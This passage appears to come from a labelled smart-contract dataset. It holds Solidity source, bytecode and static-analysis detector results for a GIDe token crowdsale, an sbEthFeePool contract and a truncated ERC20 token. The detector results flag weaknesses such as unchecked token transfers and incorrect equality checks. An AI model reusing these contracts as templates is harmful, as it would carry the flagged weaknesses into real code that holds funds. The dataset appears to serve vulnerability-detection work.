uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } event Burn(address indexed burner, uint indexed value); } contract GIDe is BurnableToken { string public constant name = "GID Coin"; string public constant symbol = "GIDe"; uint8 public constant decimals = 18; uint256 public INITIAL_SUPPLY = 50000000 * 1 ether; function GIDe () { totalSupply = INITIAL_SUPPLY; balances[0x99c06ecfde7ce418066a3070a5e887655e6e6439] = INITIAL_SUPPLY; } } contract Crowdsale is Ownable { using SafeMath for uint; address multisig; GIDe public token = new GIDe (); uint start; function Start() constant returns (uint) { return start; } function setStart(uint newStart) onlyOwner { start = newStart; } uint period; function Period() constant returns (uint) { return period; } function setPeriod(uint newPeriod) onlyOwner { period = newPeriod; } uint rate; function Rate() constant returns (uint) { return rate; } function setRate(uint newRate) onlyOwner { rate = newRate * (10**18); } function Crowdsale() { multisig = 0x8fb8541358bf18e113068a68b28f2e972b51d16a; rate = 40000000000000000000; start = 1525176000; period = 80; } modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! // @10000000000000000 - 16 null = 0.01 min payment ETH. // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! modifier limitation() { require(msg.value >= 50000000000000000); _; } function createTokens() limitation saleIsOn payable { multisig.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); token.transfer(msg.sender, tokens); } function() external payable { createTokens(); } }
0x6080604052600436106100af576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100b4578063095ea7b31461014457806318160ddd146101a957806323b872dd146101d45780632ff2e9dc14610259578063313ce5671461028457806342966c68146102b557806370a08231146102e257806395d89b4114610339578063a9059cbb146103c9578063dd62ed3e1461042e575b600080fd5b3480156100c057600080fd5b506100c96104a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101095780820151818401526020810190506100ee565b50505050905090810190601f1680156101365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015057600080fd5b5061018f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104de565b604051808215151515815260200191505060405180910390f35b3480156101b557600080fd5b506101be610665565b6040518082815260200191505060405180910390f35b3480156101e057600080fd5b5061023f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061066b565b604051808215151515815260200191505060405180910390f35b34801561026557600080fd5b5061026e61091b565b6040518082815260200191505060405180910390f35b34801561029057600080fd5b50610299610921565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102c157600080fd5b506102e060048036038101908080359060200190929190505050610926565b005b3480156102ee57600080fd5b50610323600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a31565b6040518082815260200191505060405180910390f35b34801561034557600080fd5b5061034e610a7a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561038e578082015181840152602081019050610373565b50505050905090810190601f1680156103bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103d557600080fd5b50610414600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab3565b604051808215151515815260200191505060405180910390f35b34801561043a57600080fd5b5061048f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c4e565b6040518082815260200191505060405180910390f35b6040805190810160405280600881526020017f47494420436f696e00000000000000000000000000000000000000000000000081525081565b60008082148061056a57506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b151561057557600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061073f83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cd590919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506107d483600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cf390919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061082a8382610cf390919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b60035481565b601281565b6000808211151561093657600080fd5b33905061098b82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cf390919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e382600054610cf390919063ffffffff16565b600081905550818173ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560405160405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f474944650000000000000000000000000000000000000000000000000000000081525081565b6000610b0782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cf390919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b9c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610cd590919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284019050838110151515610ce957fe5b8091505092915050565b6000828211151515610d0157fe5b8183039050929150505600a165627a7a72305820c7196db3709b6cd49b8b612a11391e2ed40adb5bf1d93df94cc087d81ea7e2f30029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,417
0x15a8153d292c4fb0571107aeda93ad26b7394d45
pragma solidity 0.6.12; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface sbControllerInterface { function requestRewards(address miner, uint256 amount) external; function isValuePoolAccepted(address valuePool) external view returns (bool); function getValuePoolRewards(address valuePool, uint256 day) external view returns (uint256); function getValuePoolMiningFee(address valuePool) external returns (uint256, uint256); function getValuePoolUnminingFee(address valuePool) external returns (uint256, uint256); function getValuePoolClaimingFee(address valuePool) external returns (uint256, uint256); function isServicePoolAccepted(address servicePool) external view returns (bool); function getServicePoolRewards(address servicePool, uint256 day) external view returns (uint256); function getServicePoolClaimingFee(address servicePool) external returns (uint256, uint256); function getServicePoolRequestFeeInWei(address servicePool) external returns (uint256); function getVoteForServicePoolsCount() external view returns (uint256); function getVoteForServicesCount() external view returns (uint256); function getVoteCastersRewards(uint256 dayNumber) external view returns (uint256); function getVoteReceiversRewards(uint256 dayNumber) external view returns (uint256); function getMinerMinMineDays() external view returns (uint256); function getServiceMinMineDays() external view returns (uint256); function getMinerMinMineAmountInWei() external view returns (uint256); function getServiceMinMineAmountInWei() external view returns (uint256); function getValuePoolVestingDays(address valuePool) external view returns (uint256); function getServicePoolVestingDays(address poservicePoolol) external view returns (uint256); function getVoteCasterVestingDays() external view returns (uint256); function getVoteReceiverVestingDays() external view returns (uint256); } contract sbEthFeePool { using SafeMath for uint256; bool public initDone; address public admin; address public pendingAdmin; address payable public superAdmin; address payable public pendingSuperAdmin; sbControllerInterface public sbController; sbStrongValuePoolInterface public sbStrongValuePool; IERC20 public strongToken; uint256 public superAdminFeeNumerator; uint256 public superAdminFeeDenominator; uint256 public logsSumFeeAmount; mapping(address => uint256[]) public logsContractFeeDays; mapping(address => uint256[]) public logsContractFeeAmounts; address public constant burnAddress = address( 0x000000000000000000000000000000000000dEaD ); function init( address sbControllerAddress, address sbStrongValuePoolAddress, address strongTokenAddress, address adminAddress, address payable superAdminAddress ) public { require(!initDone, "init done"); sbController = sbControllerInterface(sbControllerAddress); sbStrongValuePool = sbStrongValuePoolInterface( sbStrongValuePoolAddress ); strongToken = IERC20(strongTokenAddress); admin = adminAddress; superAdmin = superAdminAddress; initDone = true; } function updateSuperAdminFee(uint256 numerator, uint256 denominator) public { require(msg.sender == superAdmin); require(denominator != 0, "invalid value"); superAdminFeeNumerator = numerator; superAdminFeeDenominator = denominator; } function deposit() public payable { uint256 currentDay = _getCurrentDay(); uint256 len = logsContractFeeDays[msg.sender].length; if (len == 0) { logsContractFeeDays[msg.sender].push(currentDay); logsContractFeeAmounts[msg.sender].push(msg.value); } else { uint256 lastIndex = logsContractFeeDays[msg.sender].length.sub(1); uint256 lastDay = logsContractFeeDays[msg.sender][lastIndex]; if (lastDay == currentDay) { logsContractFeeAmounts[msg .sender][lastIndex] = logsContractFeeAmounts[msg .sender][lastIndex] .add(msg.value); } else { logsContractFeeDays[msg.sender].push(currentDay); logsContractFeeAmounts[msg.sender].push(msg.value); } } uint256 toSuperAdmin = msg.value.mul(superAdminFeeNumerator).div( superAdminFeeDenominator ); logsSumFeeAmount = logsSumFeeAmount.add(msg.value); superAdmin.transfer(toSuperAdmin); } function setPendingAdmin(address newPendingAdmin) public { require(msg.sender == admin, "not admin"); pendingAdmin = newPendingAdmin; } function acceptAdmin() public { require( msg.sender == pendingAdmin && msg.sender != address(0), "not pendingAdmin" ); admin = pendingAdmin; pendingAdmin = address(0); } function setPendingSuperAdmin(address payable newPendingSuperAdmin) public { require(msg.sender == superAdmin, "not superAdmin"); pendingSuperAdmin = newPendingSuperAdmin; } function acceptSuperAdmin() public { require( msg.sender == pendingSuperAdmin && msg.sender != address(0), "not pendingSuperAdmin" ); superAdmin = pendingSuperAdmin; pendingSuperAdmin = address(0); } function getContractFeeData(address cntrct, uint256 dayNumber) public view returns (uint256, uint256) { uint256 day = dayNumber == 0 ? _getCurrentDay() : dayNumber; return _getContractFeeData(cntrct, day); } function _getContractFeeData(address cntrct, uint256 day) internal view returns (uint256, uint256) { uint256[] memory _Days = logsContractFeeDays[cntrct]; uint256[] memory _Amounts = logsContractFeeAmounts[cntrct]; return _get(_Days, _Amounts, day); } function _get( uint256[] memory _Days, uint256[] memory _Units, uint256 day ) internal pure returns (uint256, uint256) { uint256 len = _Days.length; if (len == 0) { return (day, 0); } if (day < _Days[0]) { return (day, 0); } uint256 lastIndex = len.sub(1); uint256 lastDay = _Days[lastIndex]; if (day == lastDay) { return (day, _Units[lastIndex]); } return _find(_Days, _Units, day); } function _find( uint256[] memory _Days, uint256[] memory _Units, uint256 day ) internal pure returns (uint256, uint256) { uint256 left = 0; uint256 right = _Days.length.sub(1); uint256 middle = right.add(left).div(2); while (_Days[middle] != day && left < right) { if (_Days[middle] > day) { right = middle.sub(1); } else if (_Days[middle] < day) { left = middle.add(1); } middle = right.add(left).div(2); } if (_Days[middle] != day) { return (day, 0); } else { return (day, _Units[middle]); } } function _getCurrentDay() internal view returns (uint256) { return block.timestamp.div(1 days).add(1); } } interface sbStrongValuePoolInterface { function mineFor(address miner, uint256 amount) external; function getMinerMineData(address miner, uint256 day) external view returns ( uint256, uint256, uint256 ); function getMineData(uint256 day) external view returns ( uint256, uint256, uint256 ); function serviceMinMined(address miner) external view returns (bool); function minerMinMined(address miner) external view returns (bool); }
0x6080604052600436106101355760003560e01c8063965d61b9116100ab578063d39ca7de1161006f578063d39ca7de1461036c578063e58eaf5b1461039f578063e7f9cefd146103d8578063f851a440146103ed578063fa371f8714610402578063fed0a20e1461043257610135565b8063965d61b9146102d3578063a4bd4840146102e8578063b30a7d84146102fd578063c92194011461034f578063d0e30db01461036457610135565b8063359ef75b116100fd578063359ef75b146101c157806348028d63146102165780634dd18bf51461022b57806363de7db31461025e5780636dfd8e1a146102a957806370d5ae05146102be57610135565b80630d65d00a1461013a5780630e18b6811461016b578063267822471461018257806329575f6a146101975780632fa41caf146101ac575b600080fd5b34801561014657600080fd5b5061014f61045b565b604080516001600160a01b039092168252519081900360200190f35b34801561017757600080fd5b5061018061046a565b005b34801561018e57600080fd5b5061014f6104f9565b3480156101a357600080fd5b5061014f610508565b3480156101b857600080fd5b5061014f610517565b3480156101cd57600080fd5b50610180600480360360a08110156101e457600080fd5b506001600160a01b03813581169160208101358216916040820135811691606081013582169160809091013516610526565b34801561022257600080fd5b5061014f6105e2565b34801561023757600080fd5b506101806004803603602081101561024e57600080fd5b50356001600160a01b03166105f1565b34801561026a57600080fd5b506102976004803603604081101561028157600080fd5b506001600160a01b038135169060200135610663565b60408051918252519081900360200190f35b3480156102b557600080fd5b50610297610691565b3480156102ca57600080fd5b5061014f610697565b3480156102df57600080fd5b5061014f61069d565b3480156102f457600080fd5b506102976106ac565b34801561030957600080fd5b506103366004803603604081101561032057600080fd5b506001600160a01b0381351690602001356106b2565b6040805192835260208301919091528051918290030190f35b34801561035b57600080fd5b506102976106e2565b6101806106e8565b34801561037857600080fd5b506101806004803603602081101561038f57600080fd5b50356001600160a01b03166108b9565b3480156103ab57600080fd5b50610297600480360360408110156103c257600080fd5b506001600160a01b03813516906020013561092b565b3480156103e457600080fd5b50610180610944565b3480156103f957600080fd5b5061014f6109cd565b34801561040e57600080fd5b506101806004803603604081101561042557600080fd5b50803590602001356109e1565b34801561043e57600080fd5b50610447610a45565b604080519115158252519081900360200190f35b6004546001600160a01b031681565b6001546001600160a01b03163314801561048357503315155b6104c7576040805162461bcd60e51b815260206004820152601060248201526f3737ba103832b73234b733a0b236b4b760811b604482015290519081900360640190fd5b6001805460008054610100600160a81b0319166101006001600160a01b038416021790556001600160a01b0319169055565b6001546001600160a01b031681565b6002546001600160a01b031681565b6005546001600160a01b031681565b60005460ff161561056a576040805162461bcd60e51b8152602060048201526009602482015268696e697420646f6e6560b81b604482015290519081900360640190fd5b600480546001600160a01b03199081166001600160a01b03978816179091556005805482169587169590951790945560068054851693861693909317909255600080546002805490951693861693909317909355610100600160a81b031990911661010091909316029190911760ff19166001179055565b6003546001600160a01b031681565b60005461010090046001600160a01b03163314610641576040805162461bcd60e51b81526020600482015260096024820152683737ba1030b236b4b760b91b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600b602052816000526040600020818154811061067c57fe5b90600052602060002001600091509150505481565b60075481565b61dead81565b6006546001600160a01b031681565b60095481565b6000808083156106c257836106ca565b6106ca610a4e565b90506106d68582610a6d565b92509250509250929050565b60085481565b60006106f2610a4e565b336000908152600a60205260409020549091508061074c57336000818152600a6020908152604080832080546001818101835591855283852001879055938352600b82528220805493840181558252902034910155610843565b336000908152600a6020526040812054610767906001610b59565b336000908152600a60205260408120805492935090918390811061078757fe5b906000526020600020015490508381141561080257336000908152600b6020526040902080546107d6913491859081106107bd57fe5b9060005260206000200154610ba490919063ffffffff16565b336000908152600b602052604090208054849081106107f157fe5b600091825260209091200155610840565b336000818152600a6020908152604080832080546001818101835591855283852001899055938352600b825282208054938401815582529020349101555b50505b600061086660085461086060075434610bfe90919063ffffffff16565b90610c57565b6009549091506108769034610ba4565b6009556002546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108b3573d6000803e3d6000fd5b50505050565b6002546001600160a01b03163314610909576040805162461bcd60e51b815260206004820152600e60248201526d3737ba1039bab832b920b236b4b760911b604482015290519081900360640190fd5b600380546001600160a01b0319166001600160a01b0392909216919091179055565b600a602052816000526040600020818154811061067c57fe5b6003546001600160a01b03163314801561095d57503315155b6109a6576040805162461bcd60e51b81526020600482015260156024820152743737ba103832b73234b733a9bab832b920b236b4b760591b604482015290519081900360640190fd5b60038054600280546001600160a01b03199081166001600160a01b03841617909155169055565b60005461010090046001600160a01b031681565b6002546001600160a01b031633146109f857600080fd5b80610a3a576040805162461bcd60e51b815260206004820152600d60248201526c696e76616c69642076616c756560981b604482015290519081900360640190fd5b600791909155600855565b60005460ff1681565b6000610a686001610a624262015180610c57565b90610ba4565b905090565b6001600160a01b0382166000908152600a6020908152604080832080548251818502810185019093528083528493606093929190830182828015610ad057602002820191906000526020600020905b815481526020019060010190808311610abc575b5050506001600160a01b0388166000908152600b602090815260409182902080548351818402810184019094528084529596506060959294509250830182828015610b3a57602002820191906000526020600020905b815481526020019060010190808311610b26575b50505050509050610b4c828287610c99565b9350935050509250929050565b6000610b9b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d46565b90505b92915050565b600082820183811015610b9b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0d57506000610b9e565b82820282848281610c1a57fe5b0414610b9b5760405162461bcd60e51b8152600401808060200182810382526021815260200180610f3d6021913960400191505060405180910390fd5b6000610b9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ddd565b8251600090819080610cb2578360009250925050610d3e565b85600081518110610cbf57fe5b6020026020010151841015610cdb578360009250925050610d3e565b6000610ce8826001610b59565b90506000878281518110610cf857fe5b6020026020010151905080861415610d2b5785878381518110610d1757fe5b602002602001015194509450505050610d3e565b610d36888888610e42565b945094505050505b935093915050565b60008184841115610dd55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610d9a578181015183820152602001610d82565b50505050905090810190601f168015610dc75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610e2c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610d9a578181015183820152602001610d82565b506000838581610e3857fe5b0495945050505050565b600080600080610e5d60018851610b5990919063ffffffff16565b90506000610e7060026108608486610ba4565b90505b85888281518110610e8057fe5b602002602001015114158015610e9557508183105b15610f065785888281518110610ea757fe5b60200260200101511115610ec757610ec0816001610b59565b9150610ef0565b85888281518110610ed457fe5b60200260200101511015610ef057610eed816001610ba4565b92505b610eff60026108608486610ba4565b9050610e73565b85888281518110610f1357fe5b602002602001015114610f2f5785600094509450505050610d3e565b85878281518110610d1757fefe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e0205e42631887c49669d4df5e8e6a3bb272d6c632b5dec773de6145db0d76ec64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
7,418
0xa8f7cab2c2485ff8f044248ebe64b6ccb9e250cd
pragma solidity ^0.4.16; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0 && _value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = 